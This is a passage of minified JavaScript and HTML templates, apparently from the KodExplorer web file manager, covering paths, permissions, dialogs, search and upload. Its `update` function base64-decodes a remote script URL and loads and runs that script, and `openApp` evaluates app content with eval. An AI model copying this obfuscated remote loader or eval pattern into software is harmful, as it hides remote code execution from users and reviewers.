search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(i[0],t)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var i=e.match(/\{.*\}/);return i[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),i='<div class="ajaxError">'+i+"</div>",t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,i,t){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,i,a){core.ajaxError(e,i,a),"function"==typeof t&&t()},success:function(e){"function"==typeof i&&i(e.data.content,e,n)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+t+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+i+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+t+'" id="'+t+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+i+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,'<span class="keyword">'+i+"</span>");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+'<span class="keyword">'+e.substr(t,i.length)+"</span>"+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return 